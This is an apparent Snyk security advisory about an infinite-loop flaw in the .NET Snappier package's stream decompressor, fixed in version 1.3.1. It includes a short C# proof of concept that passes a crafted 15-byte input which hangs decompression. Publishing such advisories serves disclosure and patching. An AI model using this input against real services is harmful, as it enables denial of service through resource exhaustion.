Infinite loop Affecting snappier package, versions [,1.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

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  • Snyk IDSNYK-DOTNET-SNAPPIER-16438963
  • published7 May 2026
  • disclosed6 May 2026
  • creditPaweł Łukasik

Introduced: 6 May 2026

NewCVE-2026-44302  (opens in a new tab)
CWE-835  (opens in a new tab)

How to fix?

Upgrade Snappier to version 1.3.1 or higher.

Overview

Affected versions of this package are vulnerable to Infinite loop in the SnappyStreamDecompressor class, when decompressing malformed framed-format input. An attacker can cause the application to exhaust system resources by providing malicious stream data as small as 15 bytes

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

CVSS Base Scores

version 4.0
version 3.1